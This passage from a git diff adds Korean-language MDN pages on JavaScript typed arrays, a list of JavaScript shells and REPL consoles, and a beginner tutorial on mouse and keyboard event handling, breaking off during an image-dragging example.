+ <dd><code>FileReader.prototype.readAsArrayBuffer()</code> 메서드는 지정된 <a href="/ko/docs/Web/API/Blob"><code>Blob</code></a> 또는 <a href="/ko/docs/Web/API/File"><code>File</code></a>의 콘텐츠를 읽기 시작합니다.</dd>
+ <dt><a href="/ko/docs/Web/API/XMLHttpRequest#send()"><code>XMLHttpRequest.prototype.send()</code></a></dt>
+ <dd><code>XMLHttpRequest</code> 인스턴스의 <code>send()</code> 메서드는 이제 형식화 배열 및 인수로 {{jsxref("ArrayBuffer")}} 객체를 지원합니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/ImageData">ImageData.data</a></code></dt>
+ <dd><code>0</code>에서 <code>255</code>까지 정수값으로 RGBA 순 데이터를 포함하는 1차원 배열을 나타내는 {{jsxref("Uint8ClampedArray")}}입니다.</dd>
+</dl>
+
+<h2 id="예">예</h2>
+
+<h3 id="버퍼와_뷰_사용하기">버퍼와 뷰 사용하기</h3>
+
+<p>우선, 여기서 16바이트 고정 길이로 버퍼를 만들어야 합니다:</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(16);
+</pre>
+
+<p>이 시점에서, 바이트가 모두 0으로 미리 초기화된 메모리 덩어리가 있습니다. 그렇지만 이거 가지고 할 수 있는 게 많지 않습니다. 실제 16바이트 길이인지 확인할 수 있고 대략 그런 정도입니다:</p>
+
+<pre class="brush:js">if (buffer.byteLength === 16) {
+  console.log("Yes, it's 16 bytes.");
+} else {
+  console.log("Oh no, it's the wrong size!");
+}
+</pre>
+
+<p>정말 이 버퍼로 작업할 수 있기 전에, 뷰를 만들어야 합니다. 32비트 부호있는 정수 배열로 버퍼의 데이터를 다루는 뷰를 만듭시다:</p>
+
+<pre class="brush:js">var int32View = new Int32Array(buffer);
+</pre>
+
+<p>이제 보통 배열처럼 배열 내 필드에 액세스할 수 있습니다:</p>
+
+<pre class="brush:js">for (var i = 0; i &lt; int32View.length; i++) {
+  int32View[i] = i * 2;
+}
+</pre>
+
+<p>이는 배열의 4항목을 값 0, 2, 4 및 6으로 채웁니다 (4항목이 각각 4바이트에 총 16바이트가 됩니다).</p>
+
+<h3 id="같은_데이터에_여러_뷰">같은 데이터에 여러 뷰</h3>
+
+<p>상황은 당신이 같은 데이터에 여러 뷰를 만들 수 있음을 고려하는 경우 정말 흥미로워지기 시작합니다. 예를 들어, 위 코드가 주어지면 다음과 같이 계속할 수 있습니다:</p>
+
+<pre class="brush:js">var int16View = new Int16Array(buffer);
+
+for (var i = 0; i &lt; int16View.length; i++) {
+  console.log("Entry " + i + ": " + int16View[i]);
+}
+</pre>
+
+<p>여기서 우리는 기존 32비트 뷰와 같은 버퍼를 공유하는 16비트 정수 뷰를 만들고 16비트 정수로 버퍼 내 모든 값을 출력합니다. 이제 우리는 출력 0, 0, 2, 0, 4, 0, 6, 0을 얻습니다.</p>
+
+<p>그렇지만 한 단계 더 앞으로 갈 수 있습니다. 다음을 생각해 보세요:</p>
+
+<pre class="brush:js">int16View[0] = 32;
+console.log("Entry 0 in the 32-bit array is now " + int32View[0]);
+</pre>
+
+<p>이로부터 출력은 "Entry 0 in the 32-bit array is now 32"입니다. 즉, 두 배열은 확실히 그저 같은 데이터 버퍼 상의 뷰입니다, 버퍼를 서로 다른 형식으로 다루는. 모든 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects" title="Typed array subclasses">뷰 유형</a>으로 이를 할 수 있습니다.</p>
+
+<h3 id="복잡한_데이터_구조(체)와_작업하기">복잡한 데이터 구조(체)와 작업하기</h3>
+
+<p>단일 버퍼를 서로 다른 형인 여러 뷰(버퍼 내 서로 다른 오프셋에서 시작하는)와 결합시켜, 여러 데이터 형을 포함하는 데이터 객체와 상호 작용할 수 있습니다. 예를 들어, 이는 <a href="/ko/docs/Web/WebGL" title="WebGL">WebGL</a>, 데이터 파일 또는 <a href="/ko/docs/Mozilla/js-ctypes" title="js-ctypes">js-ctypes</a>를 쓰는 동안 사용해야 하는 C 구조체에서 복잡한 데이터 구조와 상호 작용케 합니다.</p>
+
+<p>이 C 구조체를 생각해 보세요:</p>
+
+<pre class="brush:cpp">struct someStruct {
+  unsigned long id;
+  char username[16];
+  float amountDue;
+};</pre>
+
+<p>이 같은 형식으로 데이터를 포함하는 버퍼에 액세스할 수 있습니다:</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(24);
+
+// ... 버퍼 내의 데이터를 읽어들임 ...
+
+var idView = new Uint32Array(buffer, 0, 1);
+var usernameView = new Uint8Array(buffer, 4, 16);
+var amountDueView = new Float32Array(buffer, 20, 1);</pre>
+
+<p>그런 뒤, 예를 들어 <code>amountDueView[0]</code>로 지불할 요금(amount due)을 액세스할 수 있습니다.</p>
+
+<div class="note"><strong>주의:</strong> C 구조체에서 <a href="http://en.wikipedia.org/wiki/Data_structure_alignment" title="data structure alignment">데이터 구조 정렬</a>은 플랫폼에 의존합니다. 이러한 패딩(padding) 차이에 대해 조심하고 고려하세요.</div>
+
+<h3 id="보통_배열로_변환">보통 배열로 변환</h3>
+
+<p>형식화 배열을 처리한 뒤, 때때로 {{jsxref("Array")}} 프로토타입의 도움을 받기 위해 보통 배열로 다시 변환하는 게 유용합니다. 이는 {{jsxref("Array.from")}} 또는 <code>Array.from</code>이 지원되지 않는 경우 다음 코드를 사용하여 수행할 수 있습니다.</p>
+
+<pre class="brush:js">var typedArray = new Uint8Array([1, 2, 3, 4]),
+    normalArray = Array.prototype.slice.call(typedArray);
+normalArray.length === 4;
+normalArray.constructor === Array;
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>ECMAScript 6로 대체됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer"><em>Base64</em>로 인코딩된 문자열에서 <code>ArrayBuffer</code> 또는 형식화 배열 얻기</a></li>
+ <li><a href="/ko/docs/Code_snippets/StringView"><code>StringView</code> - 형식화 배열에 기반을 둔 문자열의 C-like 표현</a></li>
+ <li><a href="https://hacks.mozilla.org/2011/12/faster-canvas-pixel-manipulation-with-typed-arrays" title="Faster Canvas Pixel Manipulation with Typed Arrays">형식화 배열로 빠른 Canvas 픽셀 조작</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/typed_arrays">형식화 배열: 브라우저에서 이진 데이터</a></li>
+ <li>{{Glossary("Endianness")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/쉘/index.html b/files/ko/web/javascript/쉘/index.html
new file mode 100644
index 0000000000..718fa8bdc2
--- /dev/null
+++ b/files/ko/web/javascript/쉘/index.html
@@ -0,0 +1,40 @@
+---
+title: JavaScript 쉘
+slug: Web/JavaScript/쉘
+translation_of: Web/JavaScript/Shells
+---
+<div>{{JsSidebar}}</div>
+
+<p>여러분은 JavaScript 쉘을 통해 웹페이지 새로고침하지 않고 빠르게 <a href="/en-US/docs/Web/JavaScript">JavaScript</a> 의 코드를 테스트해볼 수 있습니다. 코드를 개발하고 디버깅하는데 매우 유용한 도구입니다.</p>
+
+<h2 id="독립적으로_사용할_수_있는_JavaScript_쉘">독립적으로 사용할 수 있는 JavaScript 쉘</h2>
+
+<p>아래의 Javascript 쉘은 펄과 파이썬과 같이 독립적인 환경을 제공합니다.</p>
+
+<ul>
+ <li><a href="http://nodejs.org/">Node.js</a> - Node.js는 빠르고 확장 가능한 네트워크 어플리케이션을 쉽게 만들 수 있는 플랫폼입니다.</li>
+ <li><a class="external" href="http://www.jsdb.org/">JSDB</a> - Windows, Mac, Linux 환경에 맞는 컴파일된 바이너리를 제공하는 독립적인 독립적인 Javascript 쉘입니다.</li>
+ <li><a class="external" href="http://javalikescript.free.fr/">JavaLikeScript</a> - 네이티브와 JavaScript 라이브러리 모두를 제공하는 독립적이고 확장 가능한 JavaScript 쉘입니다.</li>
+ <li><a class="external" href="http://gluescript.sourceforge.net/">GLUEscript</a> - 크로스-플랫폼 JavaScript 어플리케이션을 제작하기 위한 독립적인 JavaScript 쉘입니다. GUI 앱을 위한 wxWidgets(구 wxJavaScript)를 사용할 수 있습니다.</li>
+ <li><a class="external" href="http://jspl.msg.mx/">jspl</a> - Perl의 영향을 받은 독립적인 JavaScript 쉘입니다. JavaScript에서 직접 perl 모듈을 사용할 수 있습니다: 데이터베이스 통합을 위한 DBI, GUI 앱을 위한 GTK2, 시스템 프로그래밍을 위한 POSIX, 기타 등등. 현재로서는 JavaScript 프로그래머를 위한 최고의 CPAN입니다.</li>
+ <li><a class="external" href="http://shelljs.org">ShellJS</a> - Node.js를 위한 포터블 Unix 쉘 명령도구입니다.</li>
+</ul>
+
+<h2 id="JavaScript_쉘_리스트">JavaScript 쉘 리스트</h2>
+
+<p>아래는 Mozilla에서 사용할 수 있는 JavaScript Shell입니다.</p>
+
+<ul>
+ <li>Firefox는 <a href="/ko/docs/Tools/Scratchpad">Scratchpad</a>라 불리는 자바스크립트 내장 콘솔을 가지고있습니다.(version6 이후)</li>
+ <li><a href="/ko/docs/Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell">JavaScript Shell</a> (<code>js</code>) - JavaScript를 위한 command line인터프리터입니다.</li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_bindings/XPConnect">XPConnect</a>인 <a href="/en-US/docs/Mozilla/XPConnect/xpcshell">xpcshell</a> - Mozilla개발자는 위한 유용한 쉘 입니다. (가끔 필요할거에요.)</li>
+ <li><a href="http://babeljs.io/repl">Babel REPL</a> - 최신 자바스크립트를 시험해 볼 수 있는 브라우저 기반 <a href="https://en.wikipedia.org/wiki/REPL">REPL</a>입니다.</li>
+ <li><a href="http://es6console.com/">ES6Console.com</a> - 브라우저에서 ECMAScript 2015 코드를 테스트 해보기위한 open-source JavaScript 콘솔 입니다.</li>
+ <li><a href="http://jsconsole.com/">jsconsole.com</a> -- 웹에서 빠른속도록 JavaScript 코드를 테스트 해 볼 수 있는 open-source JavaScript 콘솔 입니다.</li>
+ <li><a class="external" href="http://www.squarefree.com/shell/">JavaScript Shell (web page)</a> - <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434">Extension Developer's Extension</a>의 일부 기능으로 사용 가능합니다.</li>
+ <li><a class="external" href="http://www.billyreisinger.com/jash/">Jash: JavaScript Shell</a> - 웹에서 커맨드라인접속이 가능한 <a href="https://ko.wikipedia.org/wiki/DHTML">DHTML</a> 기반 쉘 입니다.</li>
+ <li><a class="external" href="http://hyperstruct.net/projects/mozrepl">MozRepl</a> - Firefox 및 기타 Mozilla 응용 프로그램에 연결하고 코드를 실행하는 중에 코드내용을 다루거나 확인 할 수 있습니다.</li>
+ <li><a class="external" href="https://addons.mozilla.org/en-US/firefox/addon/execute-js/">Execute JS</a> - (더이상 지원되지않음) - 확장 된 JavaScript 콘솔을 제공하는 Firefox 확장 기능입니다. 임의의 JavaScript 코드 및 수정 기능을 편안하게 입력하고 실행할 수 있습니다.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/addon/159546">xqjs</a> - Firefox를 위한 간단한 콘솔</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/firebug/">Firebug</a> - 콘솔을 포함한 Firefox 개발자도구입니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/시작하기/index.html b/files/ko/web/javascript/시작하기/index.html
new file mode 100644
index 0000000000..cfe47e1ec5
--- /dev/null
+++ b/files/ko/web/javascript/시작하기/index.html
@@ -0,0 +1,327 @@
+---
+title: 시작하기 (자바스크립트 튜토리얼)
+slug: Web/JavaScript/시작하기
+translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
+---
+<h2 id="Why_JavaScript.3F" name="Why_JavaScript.3F">왜 자바스크립트인가?</h2>
+<p>자바스크립트는 종종 오해할 수 있는 강력하고 복잡한 컴퓨터 언어이다. 사용자가 쉽게 데이터를 입력하고 결과를 볼 수 있게 어플리케이션을 빠르게 개발 할 수 있다.</p>
+<p> 웹브라우저를 중심으로 또한 ECMAScript로 알려진 자바스크립트의 주요 장점은 이와 같이 브라우저를 지원하는 모든 플랫폼에 동일한 결과를 만들 수 있다. 이 페이지의 예제는 구글 맵스처럼 맥 OS와 윈도우, 리눅스에서 실행한다. 수많은 자바스크립트 라이브러리의 최근 성장과 함께 AJax 어플리케이션을 개발하거나 이벤트 처리하기, 에니메이션 만들기, DOM 엘리먼트 선택하기, 도큐먼트 탐색하기가 이제 더욱 쉬워졌다. 다양한 소유권의 이익에 의해 추진된 다른 기술의 과대 광고와는 달리 자바스크립트는 모두 무료이면서 보편적으로 채택된 클라이언트 사이드 프로그래밍 언어이면서 정말이지 유일한 크로스 플래폼이다.</p>
+<h2 id="What_you_should_already_know" name="What_you_should_already_know">당신이 이미 알아야 하는 것</h2>
+<p>자바스크립트는 프로그래밍을 같이 시작하기 위해 매우 쉬운 언어이다. 시작하기 위해서  당신이 필요한 모든 것은 텍스트 에디터와  웹브라우저이다.  </p>
+<p>이 문서의 범위를 벗어나는 자바스크립트와 함께 개발되고 통합 할 수 있는 다른 기술은 많이 있다. 첫날부터 구글맵스과 같이 완전한 어플리케이션을 만들 것이라고 기대하지 마라!</p>
+<p>시작하기</p>
+<p>자바스크립트로 시작하기는 매우 쉽다. 당신은 복잡한 개발 프로그램 설치가 필요가 없다. 컴파일러를 사용하거나 프로그램 만들기, 쉘을 어떻게 사용하는지 알 필요가 없다. 자바스크립트는 당신의 웹 브라우저에서 해석 된다. 당신이 해야 할 모든 일은 텍스트 파일에 당신의 프로그램을 저장하고 당신의 웹브라우저를 연다. 단지 그 것이다!</p>
+<p>자바스크립트는 입문 컴퓨터 언어로서 최고의 프로그래밍 언어이다. 새로운 학생에게  즉시 피드백 할 수 있게 하고 그들이 아마도 그들의 실생활에 유용한 것을 발견할 수 있는 도구들에 관한 것을 그들에게 가르친다. 이것은 전용 소프트웨어 개발자를 위해 정말 유용한 C, C++, JAVA 와는 뚜렷하게  대조적이다. </p>
+<h2 id="Browser_Compatibility_Issues" name="Browser_Compatibility_Issues">브라우저 호환성 이슈들</h2>
+<p>다른 브라우저에서 사용이 가능한 어떤 기능 중에는 차이가 있다. Mozilla, Chrome, Microsoft IE, Apple Safari, Opera에서 가동하는 것에 따라 변동될 수 있다. 이런 <a href="/en-US/docs/JavaScript/Compatibility">변동사항</a>을 문서화 하려고 한다.  사용 가능한 다양한 크로스 플랫폼 자바스크립트 API 사용하여 이런 이슈들을 완하시킬 수 있다. 이런 API는 공통 기능으로 제공하고 이 브라우저의  변동된 것을 숨긴다. </p>
+<h2 id="How_to_try_the_Examples" name="How_to_try_the_Examples">예제를 시도하는 방법</h2>
+<p>아래의 예제들은  몇가지 샘플 코드를 가지고 있다. 이 예제들을 시도하는 방법은 여러가지가 있다. 만약 당신이 이미 당신의 웹사이트를 가지고 있다면 당신은 당신의 웹사이트에 새로운 웹 페이지로써 이 예제들을 저장할 수 있어야 한다.</p>
+<p>만약 당신이 당신의 웹사이트를 가지고 있지 않다면 당신의 컴퓨터에 파일로써 이 예제들을 저장할 수 있고 당신이 현재 사용하고 있는 웹브라우저를 통해 예제들을 열 수 있다. 자바스크립트는 이런 이유로 시작하려는 프로그래머가 사용하기 매운 쉬운 언어이다. 당신은 컴파일러 또는 개발 환경이 필요하지 않다. 그리고 당신과 당신의 브라우저가 시작하기 위해서 필요한 모든 것이다!</p>
+<h2 id="Example:_Catching_a_mouse_click" name="Example:_Catching_a_mouse_click">예제 : 마우스 클릭 잡기</h2>
+<p>이벤트 핸들링(이벤트 타입들, 핸들러 등록, 전파 등)의 특성은 이 간단한 예제들을 완전히 적용하기에는 너무 광범위하다. 그런데 이 예제는 자바스크립트 이벤트 시스템에 대한 조금의 탐구도 없이 마우스 클릭을 잡기를 설명할 수 없다. 이 예제는 자바스크립트 이벤트에 관해 전체 자세한 내용을 가볍게 스쳐 지나 갈 것이고 만약 당신이 여기 설명된 기본 기능의 범위를 넘어서고 싶다면 자바스크립트 이벤트 시스템에 관해 더 자세히 읽어야 함을 명심하라.</p>
+<p>'마우스'이벤트들은 사용자 동작에 반응한 웹브라우저에 의해 발생된 전체 이벤트의  집합이다.<span style="line-height: 1.5;">다음은 사용자의 마우스 동작에 대한 응답으로 방출되는 이벤트의 목록이다.</span></p>
+<ul>
+ <li>Click - 사용자가 마우스를 클릭했을 때 발생</li>
+ <li>DblClick - 사용자가 마우스를 더블 클릭했을 때 발생</li>
+ <li>MouseDown -  사용자가 마우스 버튼을 눌렀을 때 발생(클릭의 전반부)</li>
+ <li>MouseUp - 사용자가 마우스 버튼을 해제했을 때 발생(클릭의 후반후)</li>
+ <li>MouseOut - 마우스 포인터가 객체의 그래픽 범위를 떠나려고 할때 발생</li>
+ <li>MouseOver -  마우스 포인터가 객체의 그래픽 범위를 진입하려고 할때 발생</li>
+ <li>MouseMove - 마우스 포인터가 객체의 그래픽 범위 안에서 마우스 포인터를 움직이려 할때 발생</li>
+ <li>ContextMenu - 사용자가 오른쪽 마우스 버튼을 클릭했을 때 발생</li>
+</ul>
+<p>인라인 이벤트 핸들러, HTML의 최신버전에서 주의할 것은 다시 말하면 하나가 태그 애트리뷰트들로써 추가 되었다는 것은 모두 소문자 이고 스크립트의 이벤트 핸들러가 항상 모든 소문자이어야 하는 것을 예상된다.</p>
+<p>이벤트 핸들러를 등록하려는 이러한 이벤트들을 캡처하기 위해 가장 간단한 방법은 HTML을 사용하여 당신의 엘리먼트의 애트리뷰트들로서 개별적인 이벤트들을 지정하는 것이다.</p>
+<p>예제:</p>
+<pre class="brush:js">  &lt;span onclick="alert('Hello World!');"&gt;Click Here&lt;/span&gt;</pre>
+<p>당신이 실행하기 원하는 자바스크립트 코드를 애트리뷰트 값으로서 그때마다 처리할 수 있다. 또는 당신은 HTML 페이지안에 &lt;script&gt; 블록에 정의되어진 함수를 호출 할 수 있다 :</p>
+<pre class="brush:js">&lt;script&gt;
+  function clickHandler() {
+     alert("Hello, World!");
+  }
+&lt;/script&gt;
+&lt;span onclick="clickHandler();"&gt;Click Here&lt;/span&gt;</pre>
+<p>또한 발생된 이벤트 객체는 캡처하거나 참조할 수 있으며 <span style="line-height: 1.5;">객체가 이벤트를 받거나 이벤트 타입 그리고 마우스가 클릭됐을 때 그러한 이벤트에 관한 특성을 접근하는 무언가 개발하는 것을  제공할 수 있다. </span><span style="line-height: 1.5;">인라인 예제를 다시 사용 하라:</span></p>
+<pre class="brush:js">&lt;script&gt;
+  function clickHandler(event) {
+    var eType = event.type;
+    /* 다음은 호환성을 위한 것이다. */
+    /* Moz는 이벤트 객체의 target 프로퍼티로 채운다. */
+    /* IE는 <span style="font-size: 1rem;">srcElement 프로퍼티로 채운다.</span><span style="font-size: 1rem;">*/</span>
+    var eTarget = event.target || event.srcElement;
+
+    alert( "Captured Event (type=" + eType + ", target=" + eTarget );
+  }
+&lt;/script&gt;
+&lt;span onclick="clickHandler(event);"&gt;Click Here&lt;/span&gt;</pre>
+<p>당신의 HTML안에 이벤트를 수신 등록 이외에 당신은 당신의 자바스크립트에 의해 생성된 어떠한 HTML엘리먼트 객체의 똑같은 이름으로 애트리뷰트들을 마찬가지로 설정할 수 있다. 아래의 예는 span 객체를 인스터트화하고 페이지의 body에  추가하고 mouse-over, mouse-out, mouse-down, mouse-up 이벤트들을 수신하기위해 span 객체를 등록한다. </p>
+<pre class="brush:js">&lt;body&gt;&lt;/body&gt;
+&lt;script&gt;
+  function mouseeventHandler(event) {
+    /*<span style="font-size: 1rem;">다음은 호환성을 위한 것이다.</span><span style="font-size: 1rem;"> */</span>
+    /* IE는 기본적으로 이벤트 객체를 전달하지 않는다. */
+    if (!event) event = window.event;
+
+    /* 미리 이벤트 타입과 타켓 얻기 */
+    var eType = event.type;
+    var eTarget = event.target || event.srcElement;
+    alert(eType +' event on element with id: '+ eTarget.id);
+  }
+
+ function onloadHandler() {
+   /*  페이지의 body 엘리먼트를 참조하여 얻기 */
+   var body = document.body;
+   /* 클릭되기 위한 span 엘리먼트 생성하기 */
+   var span = document.createElement('span');
+   span.id = 'ExampleSpan';
+   span.appendChild(document.createTextNode ('Click Here!'));
+
+   /* 특정 마우스 이벤트를 받기 위해 spna 객체 등록하기 - 이벤트들의 소문자에 유의하라 그러나 당신이 그것을 치환하기 위한 이름의 선택은 자유다.
+   */
+   span.onmousedown = mouseeventHandler;
+   span.onmouseup = mouseeventHandler;
+   span.onmouseover = mouseeventHandler;
+   span.onmouseout = mouseeventHandler;
+
+   /* 페이지에 span 보여주기 */
+   body.appendChild(span);
+}
+
+window.onload = onloadHandler; // 우리가 핸들러를 치환한 이후에는 우리는 함수 이름 뒤에 ()을 붙여서는 안된다.
+&lt;/script&gt;</pre>
+<h2 id="Example:_Catching_a_keyboard_event" name="Example:_Catching_a_keyboard_event">예제: 키보드 이벤트 잡기</h2>
+<p>위의 예제인 "마우스 이벤트 잡기"와 유사하게 키보드 이벤트 잡기는 자바스크립트 이벤트 시스템 탐험에 의존한다. 키보드 이벤트들은 어떤 키든 키보드에서 사용될 때마다 발생한다.</p>
+<p>키보드 동작에 반응하여 방출 가능한 키보드 이벤트 목록들은 마으스로 사용 가능한 것보다 상당히 작다. </p>
+<ul>
+ <li>KeyPress - 키보드를 누르거나 해제할때 발생</li>
+ <li>KeyDown - 키보드를  눌렀지만 아직 해제 않지 않았을때 발생</li>
+ <li>KeyUp - 키보드가 해제 되었을때 발생</li>
+ <li>TextInput (글을 썼던 시점에는 웹킷 브라우저에서만 가능) - 텍스트에 붙여넣기나 말하기를 하거나 또는 키보드로 입력했을 때 발생. 이 이벤트는 이 문서에 포함하지 않을 것이다.</li>
+</ul>
+<p><a class="new " href="/en-US/docs/DOM/event/keypress" rel="internal">keypress</a> 이벤트는 키를 눌렀을 때의 Unicode값이 keycode나 <a href="/en-US/docs/DOM/event.charCode" rel="internal" style="line-height: 1.5; font-family: 'Courier New', 'Andale Mono', monospace;">charCode</a> 프로퍼티에 둘다 저장되어 있다. 만약 키가  문자로 생성되어 눌러졌을때 (예를 들어 'a') <code style="font-style: normal; line-height: 1.5;">charCode는 문자의 경우를 반영하여 문자의 코드를 설정한다.(즉, charCode은 Shift 키를 누르고 있는지 여부를 고려한다)그렇지 않으면, 누른 키의 코드가 keyCode에 저장된다.</code></p>
+<p>키보드 이벤트들을 캡쳐하기 위한 가장 간단한 방법은 당신의 엘리먼트를 애트리뷰트들로써 개별적인 이벤트들을 지정한 HTML안에 이벤트 핸들러들을 다시 저장하는 것이다.</p>
+<p>예:</p>
+<pre class="brush:js">  &lt;input type="text" onkeypress="alert ('Hello World!');"&gt;
+</pre>
+<p>마우스 이벤트들과 마찬가지로 당신이 실행하기 원하는 자바스크립트 코드는 그때마다 처리할 수 있다. 또는 당신은 HTML 페이지안에 &lt;script&gt; 블록에 정의되어진 함수를 호출 할 수 있다 :</p>
+<pre class="brush:js">&lt;script&gt;
+  function keypressHandler() {
+    alert ("Hello, World!");
+  }
+&lt;/script&gt;
+
+&lt;input onkeypress="keypressHandler();" /&gt;
+</pre>
+<p>타겟을 참조하거나 이벤트를 캡쳐 하는 것은 (즉, 눌러진 실제 키) 마우스 이벤트를 비슷한 방법으로 이룰 수 있다.</p>
+<p> <span style="font-family: 'Courier New', 'Andale Mono', monospace; font-size: 1rem; line-height: 19px; background-color: rgb(246, 246, 242);">&lt;script type="text/javascript"&gt;</span></p>
+<pre class="brush:js">  function keypressHandler(evt) {
+      var eType = evt.type; // 이벤트 타입으로써 <span style="font-size: 1rem;">"keypress"를 반환할 것이다.</span></pre>
+<pre class="brush:js">
+   /*  <span style="font-size: 1rem;">여기에 우리는 </span><span style="font-size: 1rem;">which 나 다른 </span><span style="font-size: 1rem;">keyCode로 반환되는 모질라 기반으로 된 브라우저를 크로스 브라우저 방법으로 사용할 필요가 있다. </span><a href="/en-US/docs/JavaScript/Reference/Operators/Conditional_Operator" style="font-size: 1rem;" title="/en-US/docs/JavaScript/Reference/Operators/Conditional_Operator">조건 연산자</a><span style="font-size: 1rem;"> 또는 삼항식이 </span><span style="font-size: 1rem;">좋은 방법이다.</span>
+      var keyCode = evt.which?evt.which:evt.keyCode;
+      var eCode = 'keyCode is ' + keyCode;
+      var eChar = 'charCode is ' + .fromCharCode(keyCode); // 또는 evt.charCode
+      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
+   }
+&lt;/script&gt;
+&lt;input onkeypress="keypressHandler(event);" /&gt;</pre>
+<p>페이지로 부터 어떤 키 이벤트를  캡처하기 위해서는 문서 레벨에서 이벤트를 등록하거나 함수안에서 처리하여 마칠 수 있다. </p>
+<pre class="brush:js">&lt;script&gt;
+  document.onkeypress = keypressHandler;
+  document.onkeydown = keypressHandler;
+  document.onkeyup = keypressHandler;
+&lt;/script&gt;</pre>
+<p><span style="line-height: 1.5;">여기에 키 이벤트 처리하기 보여주는 완벽한 예제가 있다.</span></p>
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;script&gt;
+    var metaChar = false;
+    var exampleKey = 16;
+    function keyEvent(event) {
+      var key = event.keyCode || event.which; // alternative to ternary - if there is no keyCode, use which
+      var keychar = String.fromCharCode(key);
+      if (key == exampleKey) {
+        metaChar = true;
+      }
+      if (key != exampleKey) {
+         if (metaChar) {
+            alert("Combination of metaKey + " + keychar)
+            metaChar = false;
+         } else {
+           alert("Key pressed " + key);
+         }
+      }
+    }
+    function metaKeyUp(event) {
+      var key = event.keyCode || event.which;
+      if (key == exampleKey) { metaChar = false; }
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)"&gt;
+    Try pressing any key!
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="브라우저_버그들과_이상한_점">브라우저 버그들과 이상한 점</h3>
+<p>키 이벤트를 통해서 사용 가능하게 만들어진 두개의 프로퍼티들은 keycode와 charCode이다. 단순한 용어로 keyCode는 사용자에 의해 눌러진 실제 키보드 키를 의미하는데 반하여 charCode는 키의 ASCII 값을 반환한다. 이 두 값들은 반드시 동일하지 않을 수 있다. 예를 들어 소문자 'a'와 대문자 'A'는 같은 keyCode를 가지고 있다. 왜냐하면 사용자는 같은 키를 누르기 때문이다. 하지만 다른 charCode를 가지는 것은 왜냐하면 결과 문자가 다르기 때문이다.</p>
+<p>charCode가 해석되는 브라우저의 방법은 일관되게 적용되는 방법이 아니다. 예를 들어  Internet Explorer 와 Opera는 charCode를 지원하지 않는다. 그런데 그들은 keyCode안에 문자 정보를 준다. onkeypress만 아니라 onkeydown 와 onkeyup의 keyCode가  키 정보를 가지고 있다. Firefox 는 "which",  문자를 구별하기 위해 다른 단어를 사용한다. </p>
+<p>더 나아가 키 이벤트들을 다루는 것에 관해서는 <span style="line-height: 1.5;"> </span><a href="/en-US/docs/DOM/Event/UIEvent/KeyboardEvent" style="line-height: 1.5;" title="https://developer.mozilla.org/en-US/docs/DOM/Event/UIEvent/KeyEvent">Keyboard Events</a>에 대한<span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">Mozilla 문서를 참조하시오.</span></p>
+<p>{{ draft() }}</p>
+<h2 id="Example:_Dragging_images_around" name="Example:_Dragging_images_around">예제: 이미지 주변에 드래그하기</h2>
+<p>다음 예제는 페이지 근처의 firefox의 이미지를 이동할 수 있다.</p>
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;style&gt;
+img { position: absolute; }
+&lt;/style&gt;
+
+&lt;script&gt;
+window.onload = function() {
+
+  movMeId = document.getElementById("ImgMov");
+  movMeId.style.top = "80px";
